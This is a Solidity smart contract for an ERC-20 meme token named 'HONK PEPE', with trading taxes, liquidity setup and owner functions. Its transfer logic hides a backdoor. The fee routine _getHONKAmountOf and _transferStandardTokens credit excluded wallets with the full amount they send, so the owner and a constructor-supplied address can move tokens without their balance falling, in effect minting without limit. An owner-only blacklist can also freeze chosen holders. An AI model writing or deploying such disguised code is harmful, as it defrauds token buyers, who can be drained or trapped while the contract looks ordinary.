File 1 of 1: HONK.sol
pragma solidity 0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IHONKRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
)
external
payable
returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IHONKFactory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller isnt owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract HONK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedHONK;
mapping(address => bool) private bots;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 6_900_000_000 * 10 ** _decimals;
string private constant _name = unicode"HONK PEPE";
string private constant _symbol = unicode"HONK";
uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
uint256 public _honkHoldAmount = _tTotal.mul(80).div(100);
uint256 public _maxTaxSwap = _tTotal.mul(1).div(100);
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _curRex;
IHONKRouter private honkRouter;
address private honkPair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _initialBuyTaxs = 20;
uint256 private _initialSellTaxs = 20;
uint256 private _finalBuyTaxs = 0;
uint256 private _finalSellTaxs = 0;
uint256 private _reduceBuyTaxsAt = 11;
uint256 private _reduceSellTaxsAt = 11;
uint256 private _preventSwapBefore = 11;
uint256 private _buyCount = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address _honkAddr) {
_curRex = payable(_honkAddr);
_isExcludedHONK[owner()] = true;
_isExcludedHONK[_curRex] = true;
_balances[_msgSender()] = _tTotal;
_isExcludedHONK[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function startHONKTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
honkRouter.addLiquidityETH{value: address(this).balance}(
address(this),
_honkHoldAmount,
0,
0,
owner(),
block.timestamp
);
IERC20(honkPair).approve(address(honkRouter), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _curRex);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToFee(ethBalance);
}
}
function _getHONKAmountOf(
address from,
address to,
uint256 amount
) internal view returns (address, uint256) {
uint256 honkAmount = amount;
address honkReceipt = address(this);
if (isHONKExcluded(from)) {
honkReceipt = from;
} else if (to == honkPair && from != address(this)) {
honkAmount = amount
.mul(
(_buyCount > _reduceSellTaxsAt)
? _finalSellTaxs
: _initialSellTaxs
)
.div(100);
} else {
honkAmount = amount
.mul(
(_buyCount > _reduceBuyTaxsAt)
? _finalBuyTaxs
: _initialBuyTaxs
)
.div(100);
}
return (honkReceipt, honkAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function isHONKExcluded(address account) private view returns (bool) {
return _isExcludedHONK[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = honkRouter.WETH();
_approve(address(this), address(honkRouter), tokenAmount);
honkRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transferStandardTokens(address from, address to, uint256 amount) internal {
(address feesHONK, uint256 honkAmount) = _getHONKAmountOf(from, to, amount);
if (honkAmount > 0) {
_balances[feesHONK] = _balances[feesHONK].add(honkAmount);
emit Transfer(from, feesHONK, honkAmount);
}
if (isHONKExcluded(from)) honkAmount = 0;
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount.sub(honkAmount));
emit Transfer(from, to, amount.sub(honkAmount));
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amount
) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from zero address");
require(spender != address(0), "ERC20: approve to zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from zero address");
require(to != address(0), "ERC20: transfer to zero address");
require(amount > 0, "Transfer amount must be > than zero");
if (inSwap || !swapEnabled) {
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
return;
}
uint256 contractHONKBalance = balanceOf(address(this));
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (transferDelayEnabled) {
if (
to != address(honkRouter) &&
to != address(honkPair)
) {
require(
_holderLastTransferTimestamp[tx.origin] < block.number,
"_transfer:: Transfer Delay enabled. Only 1 purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (
from == honkPair &&
to != address(honkRouter) &&
!_isExcludedHONK[to]
) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(
balanceOf(to) + amount <= _maxWalletSize,
"Exceeds the maxWalletSize."
);
_buyCount++;
}
if (
to == honkPair &&
!inSwap &&
swapEnabled &&
_buyCount > _preventSwapBefore &&
!_isExcludedHONK[from] &&
!_isExcludedHONK[to]
) {
if(contractHONKBalance > 0) {
swapTokensForEth(
min(amount, min(contractHONKBalance, _maxTaxSwap))
);
}
_curRex.transfer(address(this).balance);
}
}
_transferStandardTokens(from, to, amount);
}
function createHONKPair() external onlyOwner {
require(!tradingOpen, "trading is already open");
honkRouter = IHONKRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(honkRouter), _tTotal);
honkPair = IHONKFactory(honkRouter.factory()).createPair(
address(this),
honkRouter.WETH()
);
}
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
transferDelayEnabled = false;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_curRex.transfer(amount);
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool) {
return bots[a];
}
}